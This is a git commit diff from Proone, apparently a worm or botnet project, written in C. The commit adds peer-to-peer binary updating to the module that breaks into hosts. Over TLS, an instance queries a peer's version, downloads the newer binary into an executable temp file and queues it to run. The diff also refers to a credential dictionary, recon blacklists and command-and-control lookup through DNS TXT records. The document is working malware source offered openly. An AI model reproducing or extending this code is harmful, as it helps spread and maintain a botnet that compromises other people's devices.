aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-25 18:40:16 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-25 18:40:16 +1000
commita72b876cf8f7c01ab2d3808a168ef16620498298 (patch)
tree43b259cf3a20636f52aebd2d777f89cf95d66673
parentd875ed3b36f2a3fb5d6ceb3c37f6749603e4d0d3 (diff)
Impl htbt M2M binary update and bug fixes ...
* Change signature of tmpfile() cb * Add PRNE_DATA_KEY_VER_MAT * Add prne_try_alloc_iobuf() * Fix htbt: don't run cncp when both resolv and cnc_txtrec are not passed * Impl upbin cb on proone-bne * Fix proone-htbtclient: content of status frame was discarded * htbt is now responsible for setting FD_CLOEXEC on temp files * Changes in mttools for valgrind run * Add proone-test_iobuf * Fix event leak in resolv * src/test-resolv.sh: run proone-resolv on valgrind * Add prne_cmp_uuid_asc() and prne_cmp_uuid_desc() for version matrix *
-rw-r--r--src/Makefile.am6
-rw-r--r--src/bne.c562
-rw-r--r--src/bne.h15
-rw-r--r--src/config.h11
-rw-r--r--src/data.h1
-rw-r--r--src/htbt.c61
-rw-r--r--src/htbt.h13
-rw-r--r--src/iobuf.c9
-rw-r--r--src/iobuf.h1
-rw-r--r--src/proone-bne.c106
-rw-r--r--src/proone-htbtclient.c10
-rw-r--r--src/proone-htbthost.c39
-rw-r--r--src/proone-mkdvault.c14
-rw-r--r--src/proone-resolv.c2
-rw-r--r--src/proone-test_iobuf.c23
-rw-r--r--src/proone.c76
-rw-r--r--src/resolv.c3
-rwxr-xr-xsrc/test-resolv.sh10
-rw-r--r--src/util_rt.c7
-rw-r--r--src/util_rt.h3
20 files changed, 861 insertions, 111 deletions
diff --git a/src/Makefile.am b/src/Makefile.am
index 8666f2b..065dd35 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -51,7 +51,8 @@ endif
proone_tests =\
proone-test_proto\
- proone-test_util
+ proone-test_util\
+ proone-test_iobuf
bin_PROGRAMS += $(proone_tests)
libproone_a_SOURCES =\
@@ -140,5 +141,8 @@ proone_test_proto_SOURCES = proone-test_proto.c
proone_test_util_LDADD = libproone.a
proone_test_util_SOURCES = proone-test_util.c
+proone_test_iobuf_LDADD = libproone.a
+proone_test_iobuf_SOURCES = proone-test_iobuf.c
+
testlist: $(proone_tests)
echo $(proone_tests) > testlist
diff --git a/src/bne.c b/src/bne.c
index b3ee4b9..7b74e53 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -8,12 +8,15 @@
#include "iobuf.h"
#include "endian.h"
#include "mbedtls.h"
+#include "config.h"
#include <string.h>
#include <ctype.h>
#include <errno.h>
#include <elf.h>
+#include <unistd.h>
+#include <fcntl.h>
#include <mbedtls/base64.h>
@@ -23,6 +26,7 @@ static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 30s
static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s
static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms
static const struct timespec BNE_PROMPT_PAUSE = { 4, 0 }; // 4s
+static const uint64_t BNE_M2M_UPBIN_INT = 43200; // 12 hours
#define BNE_CONN_ATTEMPT 3
@@ -261,6 +265,8 @@ static bool bne_pop_cred (
ctx->result.err = errno;
return false;
}
+ /* == CRITICAL SECTION START == */
+ // DO NOT yield to other pth threads after this point!
prne_init_iset(&w_set);
prne_init_llist(&cl);
@@ -1780,61 +1786,551 @@ END: // CATCH
/*******************************************************************************
HTBT Vector Impl
*******************************************************************************/
-static bool bne_do_vec_htbt (prne_bne_t *ctx) {
- bool ret = false;
+typedef struct {
prne_net_endpoint_t ep;
- pth_event_t ev = NULL;
- int fd = -1;
+ int fd;
mbedtls_ssl_context ssl;
+ prne_iobuf_t netib;
+ prne_iobuf_t stdioib;
+} bne_vhtbt_ctx_t;
- mbedtls_ssl_init(&ssl);
- ep.addr = ctx->param.subject;
- ep.port = (uint16_t)PRNE_HTBT_PROTO_PORT;
-
-// TRY
+static bool bne_vhtbt_do_handshake (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ pth_event_t *ev)
+{
if (ctx->param.htbt_ssl_conf == NULL) {
- goto END;
+ return false;
}
- if (mbedtls_ssl_setup(&ssl, ctx->param.htbt_ssl_conf) != 0) {
- goto END;
+ mbedtls_ssl_free(&vctx->ssl);
+ mbedtls_ssl_init(&vctx->ssl);
+ prne_close(vctx->fd);
+ vctx->fd = -1;
+ if (mbedtls_ssl_setup(&vctx->ssl, ctx->param.htbt_ssl_conf) != 0) {
+ return false;
}
mbedtls_ssl_set_bio(
- &ssl,
- &fd,
+ &vctx->ssl,
+ &vctx->fd,
prne_mbedtls_ssl_send_cb,
prne_mbedtls_ssl_recv_cb,
NULL);
- prne_pth_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT);
- if (!bne_do_connect(&fd, &ep, ev) || fd < 0) {
+ prne_pth_reset_timer(ev, &BNE_CONN_OP_TIMEOUT);
+ if (!bne_do_connect(&vctx->fd, &vctx->ep, *ev) || vctx->fd < 0) {
+ return false;
+ }
+ if (!prne_mbedtls_pth_handle(
+ &vctx->ssl,
+ mbedtls_ssl_handshake,
+ vctx->fd,
+ *ev))
+ {
+ return false;
+ }
+ return prne_mbedtls_verify_alp(
+ ctx->param.htbt_ssl_conf,
+ &vctx->ssl,
+ PRNE_HTBT_TLS_ALP);
+}
+
+static ssize_t bne_vhtbt_read (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ void *buf,
+ const size_t len,
+ pth_event_t ev)
+{
+ int f_ret;
+ struct pollfd pfd;
+
+ while (true) {
+ f_ret = mbedtls_ssl_read(&vctx->ssl, (unsigned char*)buf, len);
+ if (f_ret >= 0) {
+ return f_ret;
+ }
+
+ switch (f_ret) {
+ case MBEDTLS_ERR_SSL_WANT_READ:
+ pfd.events = POLLIN;
+ break;
+ case MBEDTLS_ERR_SSL_WANT_WRITE:
+ pfd.events = POLLOUT;
+ break;
+ default: return f_ret;
+ }
+ pfd.fd = vctx->fd;
+
+ prne_pth_poll(&pfd, 1, -1, ev);
+ if (ev != NULL && pth_event_status(ev) != PTH_STATUS_PENDING) {
+ errno = ETIMEDOUT;
+ return -1;
+ }
+ }
+}
+
+static ssize_t bne_vhtbt_write (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ const void *buf,
+ const size_t len,
+ pth_event_t ev)
+{
+ int f_ret;
+ struct pollfd pfd;
+
+ while (true) {
+ f_ret = mbedtls_ssl_write(&vctx->ssl, (const unsigned char*)buf, len);
+ if (f_ret >= 0) {
+ return f_ret;
+ }
+
+ switch (f_ret) {
+ case MBEDTLS_ERR_SSL_WANT_READ:
+ pfd.events = POLLIN;
+ break;
+ case MBEDTLS_ERR_SSL_WANT_WRITE:
+ pfd.events = POLLOUT;
+ break;
+ default: return f_ret;
+ }
+ pfd.fd = vctx->fd;
+
+ prne_pth_poll(&pfd, 1, -1, ev);
+ if (ev != NULL && pth_event_status(ev) != PTH_STATUS_PENDING) {
+ errno = ETIMEDOUT;
+ return -1;
+ }
+ }
+}
+
+static bool bne_vhtbt_recvf (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ void *f,
+ prne_htbt_dser_ft dser_f,
+ pth_event_t ev)
+{
+ size_t actual;
+ prne_htbt_ser_rc_t rc;
+ ssize_t f_ret;
+
+
+ while (true) {
+ rc = dser_f(vctx->netib.m, vctx->netib.len, &actual, f);
+
+ switch (rc) {
+ case PRNE_HTBT_SER_RC_OK:
+ prne_iobuf_shift(&vctx->netib, -actual);
+ return true;
+ case PRNE_HTBT_SER_RC_MORE_BUF:
+ if (actual > vctx->netib.size) {
+ return false;
+ }
+ break;
+ case PRNE_HTBT_SER_RC_ERRNO:
+ return false;
+ default:
+ return false;
+ }
+
+ f_ret = bne_vhtbt_read(
+ ctx,
+ vctx,
+ vctx->netib.m + vctx->netib.len,
+ actual - vctx->netib.len,
+ ev);
+ if (f_ret == 0) {
+ return false;
+ }
+ if (f_ret < 0) {
+ return false;
+ }
+ prne_iobuf_shift(&vctx->netib, f_ret);
+ }
+}
+
+static bool bne_vhtbt_sendf (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ const void *f,
+ prne_htbt_ser_ft ser_f,
+ pth_event_t ev)
+{
+ ssize_t f_ret;
+ size_t actual;
+ prne_htbt_ser_rc_t rc;
+
+ prne_iobuf_reset(&vctx->netib);
+ rc = ser_f(
+ vctx->netib.m,
+ vctx->netib.avail,
+ &actual,
+ f);
+ switch (rc) {
+ case PRNE_HTBT_SER_RC_OK: break;
+ case PRNE_HTBT_SER_RC_ERRNO:
+ return false;
+ default:
+ return false;
+ }
+ prne_iobuf_shift(&vctx->netib, actual);
+
+ while (vctx->netib.len > 0) {
+ f_ret = bne_vhtbt_write(
+ ctx,
+ vctx,
+ vctx->netib.m,
+ vctx->netib.len,
+ ev);
+ if (f_ret == 0) {
+ return false;
+ }
+ if (f_ret < 0) {
+ return false;
+ }
+ prne_iobuf_shift(&vctx->netib, -f_ret);
+ }
+
+ return true;
+}
+
+static bool bne_vhtbt_recv_mh (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ prne_htbt_msg_head_t *mh,
+ pth_event_t ev)
+{
+ return bne_vhtbt_recvf(
+ ctx,
+ vctx,
+ mh,
+ (prne_htbt_dser_ft)prne_htbt_dser_msg_head,
+ ev);
+}
+
+static bool bne_vhtbt_send_mh (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ const prne_htbt_msg_head_t *mh,
+ pth_event_t ev)
+{
+ return bne_vhtbt_sendf(
+ ctx,
+ vctx,
+ mh,
+ (prne_htbt_ser_ft)prne_htbt_ser_msg_head,
+ ev);
+}
+
+static bool bne_vhtbt_recv_status (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ prne_htbt_status_t *st,
+ pth_event_t ev)
+{
+ return bne_vhtbt_recvf(
+ ctx,
+ vctx,
+ st,
+ (prne_htbt_dser_ft)prne_htbt_dser_status,
+ ev);
+}
+
+static uint16_t bne_vhtbt_msgid_f (void *ctx) {
+ uint16_t ret = 0;
+
+ prne_rnd((prne_rnd_t*)ctx, (uint8_t*)&ret, sizeof(ret));
+ return ret;
+}
+
+static bool bne_vhtbt_do_ayt (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ pth_event_t *ev)
+{
+ bool ret = false;
+ prne_htbt_msg_head_t mh;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
+ if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev)) {
goto END;
}
+ if (!bne_vhtbt_recv_mh(ctx, vctx, &mh, *ev)) {
+ goto END;
+ }
+ ret = mh.id == PRNE_HTBT_OP_NOOP && mh.is_rsp;
+END:
+ prne_htbt_free_msg_head(&mh);
+ return ret;
+}
+
+static bool bne_vhtbt_query_hostinfo (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ prne_htbt_host_info_t *hi,
+ pth_event_t *ev)
+{
+ bool ret = false;
+ prne_htbt_msg_head_t mh;
+ prne_htbt_status_t st;
- if (!prne_mbedtls_pth_handle(&ssl, mbedtls_ssl_handshake, fd, ev)) {
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_status(&st);
+ mh.id = prne_htbt_gen_msgid(&ctx->rnd, bne_vhtbt_msgid_f);
+ mh.op = PRNE_HTBT_OP_HOST_INFO;
+
+ prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
+ if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev)) {
goto END;
}
- ret = prne_mbedtls_verify_alp(
- ctx->param.htbt_ssl_conf,
- &ssl,
- PRNE_HTBT_TLS_ALP);
- if (ret) {
-/* TODO: here goes ...
-*
-* - Take an array of previous versions as param
-* - Check the program version of the remote instance and update local or remote
-* instance if necessary using PRNE_HTBT_OP_UP_BIN or PRNE_HTBT_OP_RCB
-*/
- prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- if (prne_mbedtls_pth_handle(&ssl, mbedtls_ssl_close_notify, fd, ev)) {
- prne_shutdown(fd, SHUT_RDWR);
+ prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
+ if (!bne_vhtbt_recv_mh(ctx, vctx, &mh, *ev)) {
+ goto END;
+ }
+ switch (mh.op) {
+ case PRNE_HTBT_OP_STATUS:
+ bne_vhtbt_recv_status(ctx, vctx, &st, *ev);
+ break;
+ case PRNE_HTBT_OP_HOST_INFO:
+ ret = bne_vhtbt_recvf(
+ ctx,
+ vctx,
+ hi,
+ (prne_htbt_dser_ft)prne_htbt_dser_host_info,
+ *ev);
+ break;
+ }
+
+END:
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_status(&st);
+ return ret;
+}
+
+static bool bne_vhtbt_do_upbin_us (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ pth_event_t *ev)
+{
+ bool ret = false;
+ char *tmpfile_path = NULL;
+ int fd = -1;
+ prne_htbt_msg_head_t mh;
+ prne_htbt_status_t st;
+ prne_htbt_rcb_t rcb_f;
+ prne_htbt_stdio_t stdio_f;
+ prne_htbt_cmd_t cmd;
+ ssize_t f_ret;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_status(&st);
+ prne_htbt_init_rcb(&rcb_f);
+ prne_htbt_init_stdio(&stdio_f);
+ prne_htbt_init_cmd(&cmd);
+// TRY
+ fd = ctx->param.cb.tmpfile(
+ ctx->param.cb_ctx,
+ O_CREAT | O_TRUNC | O_WRONLY,
+ 0700,
+ 0,
+ &tmpfile_path);
+ if (fd < 0) {
+ goto END;
+ }
+ fcntl(fd, F_SETFD, FD_CLOEXEC);
+
+ mh.id = prne_htbt_gen_msgid(&ctx->rnd, bne_vhtbt_msgid_f);
+ mh.op = PRNE_HTBT_OP_RCB;
+ rcb_f.arch = prne_host_arch;
+ rcb_f.compat = true;
+ prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
+ if (!bne_vhtbt_do_ayt(ctx, vctx, ev)) {
+ goto END;
+ }
+
+ prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
+ if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev)) {
+ goto END;
+ }
+ if (!bne_vhtbt_sendf(
+ ctx,
+ vctx,
+ &rcb_f,
+ (prne_htbt_ser_ft)prne_htbt_ser_rcb,
+ *ev))
+ {
+ goto END;
+ }
+
+ do {
+ prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
+ if (!bne_vhtbt_recv_mh(ctx, vctx, &mh, *ev)) {
+ goto END;
+ }
+ switch (mh.op) {
+ case PRNE_HTBT_OP_STDIO: break;
+ case PRNE_HTBT_OP_STATUS:
+ bne_vhtbt_recv_status(ctx, vctx, &st, *ev);
+ goto END;
+ default:
+ goto END;
+ }
+ if (!bne_vhtbt_recvf(
+ ctx,
+ vctx,
+ &stdio_f,
+ (prne_htbt_dser_ft)prne_htbt_dser_stdio,
+ *ev))
+ {
+ goto END;
+ }
+
+ while (stdio_f.len > 0) {
+ f_ret = bne_vhtbt_read(
+ ctx,
+ vctx,
+ vctx->stdioib.m,
+ stdio_f.len,
+ *ev);
+ if (f_ret < 0) {
+ goto END;
+ }
+ if (f_ret == 0) {
+ goto END;
+ }
+ prne_iobuf_shift(&vctx->stdioib, f_ret);
+ stdio_f.len -= f_ret;
+
+ while (vctx->stdioib.len > 0) {
+ f_ret = write(fd, vctx->stdioib.m, vctx->stdioib.len);
+ if (f_ret < 0) {
+ goto END;
+ }
+ if (f_ret == 0) {
+ goto END;
+ }
+ prne_iobuf_shift(&vctx->stdioib, -f_ret);
+ }
}
+ } while (!stdio_f.fin);
+ ctx->param.cb.upbin(ctx->param.cb_ctx, tmpfile_path, &cmd);
+ ret = true;
+
+END:
+ if (!ret && tmpfile_path != NULL) {
+ unlink(tmpfile_path);
+ }
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_status(&st);
+ prne_htbt_free_rcb(&rcb_f);
+ prne_htbt_free_stdio(&stdio_f);
+ prne_htbt_free_cmd(&cmd);
+ prne_free(tmpfile_path);
+ prne_close(fd);
+ return ret;
+}
+
+static bool bne_vhtbt_do_upbin_them (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ pth_event_t *ev)
+{
+ // TODO
+ errno = ENOSYS;
+ return false;
+}
+
+static bool bne_do_vec_htbt (prne_bne_t *ctx) {
+ bool ret = false;
+ bne_vhtbt_ctx_t vctx;
+ pth_event_t ev = NULL;
+ prne_htbt_host_info_t hi;
+
+ vctx.ep.addr = ctx->param.subject;
+ vctx.ep.port = (uint16_t)PRNE_HTBT_PROTO_PORT;
+ vctx.fd = -1;
+ mbedtls_ssl_init(&vctx.ssl);
+ prne_htbt_init_host_info(&hi);
+ prne_init_iobuf(&vctx.netib);
+ prne_init_iobuf(&vctx.stdioib);
+
+// TRY
+ if (!prne_alloc_iobuf(&vctx.netib, PRNE_HTBT_PROTO_MIN_BUF)) {
+ goto END;
+ }
+ for (unsigned int i = 0; i < BNE_CONN_ATTEMPT; i += 1) {
+ ret = bne_vhtbt_do_handshake(ctx, &vctx, &ev);
+ if (ret) {
+ break;
+ }
+ }
+ if (!ret) {
+ goto END;
+ }
+
+ // M2M binary update
+ do { // fake
+ int f_ret;
+
+ if (ctx->param.cb.vercmp == NULL) {
+ break;
+ }
+ if (!bne_vhtbt_query_hostinfo(ctx, &vctx, &hi, &ev)) {
+ goto END;
+ }
+
+ f_ret = ctx->param.cb.vercmp(ctx->param.cb_ctx, hi.prog_ver);
+ if (f_ret != 0) {
+ if (!prne_alloc_iobuf(&vctx.stdioib, PRNE_HTBT_STDIO_LEN_MAX)) {
+ goto END;
+ }
+ }
+
+ if (f_ret < 0) {
+ if (ctx->param.cb.uptime == NULL ||
+ ctx->param.cb.tmpfile == NULL ||
+ ctx->param.cb.upbin == NULL)
+ {
+ break;
+ }
+ if (ctx->param.cb.uptime(ctx->param.cb_ctx) < BNE_M2M_UPBIN_INT) {
+ break;
+ }
+ if (!bne_vhtbt_do_upbin_us(ctx, &vctx, &ev)) {
+ goto END;
+ }
+ }
+ else if (f_ret > 0) {
+ if (hi.parent_uptime < BNE_M2M_UPBIN_INT) {
+ break;
+ }
+ if (!bne_vhtbt_do_upbin_them(ctx, &vctx, &ev)) {
+ goto END;
+ }
+ }
+ } while (false);
+
+ // Terminate connection gracefully
+ prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ if (prne_mbedtls_pth_handle(
+ &vctx.ssl,
+ mbedtls_ssl_close_notify,
+ vctx.fd,
+ ev))
+ {
+ prne_shutdown(vctx.fd, SHUT_RDWR);
}
END: // CATCH
- mbedtls_ssl_free(&ssl);
- prne_close(fd);
+ prne_free_iobuf(&vctx.netib);
+ prne_free_iobuf(&vctx.stdioib);
+ mbedtls_ssl_free(&vctx.ssl);
+ prne_close(vctx.fd);
pth_event_free(ev, FALSE);
+ prne_htbt_free_host_info(&hi);
return ret;
}
diff --git a/src/bne.h b/src/bne.h
index a3f7979..c1cdf36 100644
--- a/src/bne.h
+++ b/src/bne.h
@@ -38,6 +38,21 @@ struct prne_bne_param {
char *(*exec_name)(void *ctx);
bool (*enter_dd)(void *ctx);
void (*exit_dd)(void *ctx);
+ uint64_t (*uptime)(void *ctx);
+ /**
+ * \brief called by bne instance to compare versions of Proone to
+ * determine if binary update has to be performed.
+ * \return negative value if \p uuid is newer, 0 if \p uuid is identical
+ to the current version or positive value if \p uuid is older
+ */
+ int (*vercmp)(void *ctx, const uint8_t *uuid);
+ int (*tmpfile)(
+ void *ctx,
+ const int flags,
+ const mode_t mode,
+ size_t req_size,
+ char **path);
+ bool (*upbin)(void *ctx, const char *path, const prne_htbt_cmd_t *cmd);
} cb;
void *cb_ctx;
const prne_rcb_param_t *rcb;
diff --git a/src/config.h b/src/config.h
index bae7410..ace35b3 100644
--- a/src/config.h
+++ b/src/config.h
@@ -25,6 +25,17 @@
0xaf, 0x48, 0xfd, 0x9f, 0xb8, 0x45, 0x3f, 0x8f\
}
+#define PRNE_VER_MAT {\
+ /* 76f2f748-3b6f-420c-abd7-e9929a0b67d6: placeholder version 1 */\
+ /* Remove it when you add the first old version */\
+ 0x76, 0xf2, 0xf7, 0x48, 0x3b, 0x6f, 0x42, 0x0c,\
+ 0xab, 0xd7, 0xe9, 0x92, 0x9a, 0x0b, 0x67, 0xd6,\
+ /* ce6fe199-5595-49a1-96c6-261d1cce9e32: placeholder version 2 */\
+ /* Remove it when you add the first old version */\
+ 0xce, 0x6f, 0xe1, 0x99, 0x55, 0x95, 0x49, 0xa1,\
+ 0x96, 0xc6, 0x26, 0x1d, 0x1c, 0xce, 0x9e, 0x32\
+}
+
#define PRNE_PACK_Z_LEVEL Z_DEFAULT_COMPRESSION
extern const prne_arch_t prne_host_arch;
diff --git a/src/data.h b/src/data.h
index 80e6064..0056b11 100644
--- a/src/data.h
+++ b/src/data.h
@@ -23,6 +23,7 @@ typedef enum {
PRNE_DATA_KEY_RCN_BL_IPV6,
PRNE_DATA_KEY_CRED_DICT,
PRNE_DATA_KEY_EXEC_NAME,
+ PRNE_DATA_KEY_VER_MAT,
NB_PRNE_DATA_KEY
} prne_data_key_t;
diff --git a/src/htbt.c b/src/htbt.c
index e059066..b839d72 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -784,28 +784,19 @@ static void htbt_free_slv_ctx (htbt_slv_ctx_t *ctx) {
}
static bool htbt_alloc_slv_iobuf (htbt_slv_ctx_t *ctx) {
- bool alloc;
- alloc = prne_alloc_iobuf(
- ctx->iobuf + 0,
- 2048);
- alloc &= prne_alloc_iobuf(
- ctx->iobuf + 1,
- 2048);
- if (alloc) {
- return true;
- }
-
- alloc = prne_alloc_iobuf(
- ctx->iobuf + 0,
- PRNE_HTBT_PROTO_MIN_BUF);
- alloc &= prne_alloc_iobuf(
- ctx->iobuf + 1,
- PRNE_HTBT_PROTO_SUB_MIN_BUF);
- if (alloc) {
- return true;
- }
-
- return false;
+#define OPT_SIZE 2048
+ static const size_t ALLOC_MAT[2][3] = {
+ { OPT_SIZE, PRNE_HTBT_PROTO_MIN_BUF, 0 },
+ { OPT_SIZE, PRNE_HTBT_PROTO_SUB_MIN_BUF, 0 }
+ };
+ prne_static_assert(
+ OPT_SIZE >= PRNE_HTBT_PROTO_MIN_BUF &&
+ OPT_SIZE >= PRNE_HTBT_PROTO_SUB_MIN_BUF,
+ "Please reset OPT_SIZE.");
+ return
+ prne_try_alloc_iobuf(ctx->iobuf + 0, ALLOC_MAT[0]) &&
+ prne_try_alloc_iobuf(ctx->iobuf + 1, ALLOC_MAT[1]);
+#undef OPT_SIZE
}
static void htbt_slv_consume_outbuf (
@@ -1208,14 +1199,12 @@ static bool htbt_slv_srv_bin (
}
errno = 0;
- path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, 0700);
- if (path == NULL) {
- ret_status = PRNE_HTBT_STATUS_ERRNO;
- ret_errno = errno;
- goto SND_STATUS;
- }
-
- fd = open(path, O_WRONLY);
+ fd = ctx->cbset->tmpfile(
+ ctx->cb_ctx,
+ O_CREAT | O_TRUNC | O_WRONLY,
+ 0700,
+ bin_meta.bin_size,
+ &path);
if (fd < 0) {
ret_status = PRNE_HTBT_STATUS_ERRNO;
ret_errno = errno;
@@ -1440,6 +1429,11 @@ static bool htbt_slv_srv_rcb (
size_t off,
const prne_htbt_msg_head_t *org_mh)
{
+ static const size_t RCB_IB_SIZE[] = {
+ PRNE_HTBT_STDIO_LEN_MAX,
+ 512,
+ 0
+ };
bool ret = true;
prne_htbt_rcb_t rcb_f;
prne_htbt_ser_rc_t s_ret;
@@ -1485,9 +1479,7 @@ static bool htbt_slv_srv_rcb (
err = ENOMEDIUM;
goto STATUS_END;
}
- if (!(prne_alloc_iobuf(&rcb_ib, PRNE_HTBT_STDIO_LEN_MAX) ||
- prne_alloc_iobuf(&rcb_ib, 512)))
- {
+ if (!prne_try_alloc_iobuf(&rcb_ib, RCB_IB_SIZE)) {
status = PRNE_HTBT_STATUS_ERRNO;
err = errno;
goto STATUS_END;
@@ -3115,7 +3107,6 @@ prne_htbt_t *prne_alloc_htbt (
prne_htbt_t *ret = NULL;
if (w == NULL ||
- param->cb_f.cnc_txtrec == NULL ||
param->lbd_ssl_conf == NULL ||
param->main_ssl_conf == NULL ||
param->ctr_drbg == NULL ||
@@ -3147,7 +3138,7 @@ prne_htbt_t *prne_alloc_htbt (
prne_init_llist(&ret->lbd.conn_list);
ret->lbd.fd = -1;
- if (param->resolv != NULL) {
+ if (param->resolv != NULL && param->cb_f.cnc_txtrec != NULL) {
ret->cncp.pth = pth_spawn(
PTH_ATTR_DEFAULT,
htbt_cncp_entry,
diff --git a/src/htbt.h b/src/htbt.h
index 45debf0..d528c89 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -13,20 +13,23 @@ typedef struct prne_htbt_param prne_htbt_param_t;
typedef struct prne_htbt_cbset prne_htbt_cbset_t;
typedef bool(*prne_htbt_cnc_txtrec_ft)(void *ctx, char *out);
typedef bool(*prne_htbt_hostinfo_ft)(void *ctx, prne_htbt_host_info_t *out);
-typedef char*(*prne_htbt_tmpfile_ft)(
+typedef int(*prne_htbt_tmpfile_ft)(
void *ctx,
+ const int flags,
+ const mode_t mode,
size_t req_size,
- const mode_t mode);
+ char **path);
typedef bool(*prne_htbt_bin_ft)(
void *ctx,
const char *path,
const prne_htbt_cmd_t *cmd);
struct prne_htbt_cbset {
+ // All callback functions are optional.
prne_htbt_cnc_txtrec_ft cnc_txtrec;
- prne_htbt_hostinfo_ft hostinfo; // optional
- prne_htbt_tmpfile_ft tmpfile; // optional
- prne_htbt_bin_ft upbin; // optional
+ prne_htbt_hostinfo_ft hostinfo;
+ prne_htbt_tmpfile_ft tmpfile;
+ prne_htbt_bin_ft upbin;
};
struct prne_htbt_param {
diff --git a/src/iobuf.c b/src/iobuf.c
index a78e965..6e37a26 100644
--- a/src/iobuf.c
+++ b/src/iobuf.c
@@ -44,6 +44,15 @@ bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size) {
return true;
}
+bool prne_try_alloc_iobuf (prne_iobuf_t *ib, const size_t *ny_size) {
+ for (; *ny_size != 0; ny_size += 1) {
+ if (prne_alloc_iobuf(ib, *ny_size)) {
+ return true;
+ }
+ }
+ return false;
+}
+
void prne_iobuf_setextbuf (
prne_iobuf_t *ib,
uint8_t *m,
diff --git a/src/iobuf.h b/src/iobuf.h
index ee030af..7658255 100644
--- a/src/iobuf.h
+++ b/src/iobuf.h
@@ -20,6 +20,7 @@ struct prne_iobuf {
void prne_init_iobuf (prne_iobuf_t *ib);
void prne_free_iobuf (prne_iobuf_t *ib);
bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size);
+bool prne_try_alloc_iobuf (prne_iobuf_t *ib, const size_t *ny_size);
void prne_iobuf_setextbuf (
prne_iobuf_t *ib,
uint8_t *m,
diff --git a/src/proone-bne.c b/src/proone-bne.c
index 0a3f75d..2c85adc 100644
--- a/src/proone-bne.c
+++ b/src/proone-bne.c
@@ -18,6 +18,10 @@
#include "proone_conf/x509.h"
+static char m_upbin_path[256];
+static char m_upbin_args[1024];
+static size_t m_upbin_args_size;
+
static void print_help (FILE *o, const char *prog) {
fprintf(
o,
@@ -158,6 +162,100 @@ static char *cb_exec_name (void *ctx) {
return ret;
}
+static uint64_t cb_uptime (void *ctx) {
+ return UINT64_MAX;
+}
+
+static int cb_vercmp (void *ctx, const uint8_t *uuid) {
+ return -1;
+}
+
+static int cb_tmpfile (
+ void *ctx,
+ const int flags,
+ const mode_t mode,
+ size_t req_size,
+ char **opath)
+{
+ static int ctr = 0;
+ char *path = NULL;
+ int fd = -1, len;
+ bool ret = false;
+
+ len = snprintf(NULL, 0, "bne-tmp.%d", ctr);
+ if (len < 0) {
+ goto END;
+ }
+ path = prne_alloc_str(len);
+ if (path == NULL) {
+ goto END;
+ }
+ prne_memzero(path, len + 1);
+ if (len != snprintf(path, len + 1, "bne-tmp.%d", ctr)) {
+ goto END;
+ }
+ ctr += 1;
+
+ fd = open(path, flags, mode);
+ if (fd < 0) {
+ goto END;
+ }
+ if (ftruncate(fd, (off_t)req_size) != 0) {
+ goto END;
+ }
+ ret = true;
+
+END:
+ if (ret) {
+ if (opath != NULL) {
+ *opath = path;
+ path = NULL;
+ }
+ }
+ else {
+ if (fd >= 0) {
+ unlink(path);
+ }
+ prne_close(fd);
+ fd = -1;
+ }
+ prne_free(path);
+ return fd;
+}
+
+static bool cb_upbin (void *ctx, const char *path, const prne_htbt_cmd_t *cmd) {
+ const size_t path_len = prne_nstrlen(path);
+
+ prne_dbgast(path_len > 0);
+ if (path_len + 1 > sizeof(m_upbin_path) ||
+ cmd->mem_len > sizeof(m_upbin_args))
+ {
+ errno = ENOMEM;
+ return false;
+ }
+
+ memcpy(m_upbin_path, path, path_len + 1);
+ memcpy(m_upbin_args, cmd->mem, cmd->mem_len);
+ m_upbin_args_size = cmd->mem_len;
+
+ return true;
+}
+
+static void do_run_upbin (void) {
+ for (size_t i = 0; i < m_upbin_args_size; i += 1) {
+ if (m_upbin_args[i] == 0) {
+ m_upbin_args[i] = ' ';
+ }
+ }
+ m_upbin_args[m_upbin_args_size - 1] = 0;
+
+ printf(
+ "upbin received:\n%s %s\n",
+ m_upbin_path,
+ m_upbin_args);
+}
+
+
